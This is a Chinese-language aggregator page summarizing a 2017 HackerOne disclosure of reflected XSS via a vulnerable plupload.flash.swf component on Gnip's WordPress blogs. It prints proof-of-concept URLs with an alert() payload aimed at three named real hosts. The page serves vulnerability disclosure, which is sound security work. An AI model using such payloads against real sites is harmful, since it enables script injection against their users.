地图 / [Gnip Blogs] Reflected XSS via "plupload.flash.swf" component vulnerable to SOME

[Gnip Blogs] Reflected XSS via "plupload.flash.swf" component vulnerable to SOME

厂商: X / xAI
严重程度: 低危
赏金: —
弱点: 反射型 XSS
研究员: @ysx
披露日期: 2017-05-08
资产: —
CVE: —

该报告还没有中文解读。

原文摘录

摘自原文（1263 字符中的一小部分）

The following endpoints are exposed to reflected cross-site scripting by way of a vulnerable "**plupload.flash.swf**" component on WordPress.

原文中的代码

https://blog-origin.gnip.com//wp-includes/js/plupload/plupload.flash.swf?%#target%g=alert&uid%g=XSS&

https://blog.gnip.com//wp-includes/js/plupload/plupload.flash.swf?%#target%g=alert&uid%g=XSS&

https://engineering.gnip.com//wp-includes/js/plupload/plupload.flash.swf?%#target%g=alert&uid%g=XSS& …

默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 X / xAI 所有。

时间线

2017-04-04报告提交
2017-05-08公开披露

阅读 HackerOne 原文 ↗作者 @ysx · 版权归作者与 X / xAI 所有

[Gnip Blogs] Reflected XSS via "plupload.flash.swf" component vulnerable to SOME

原文摘录

时间线

同类报告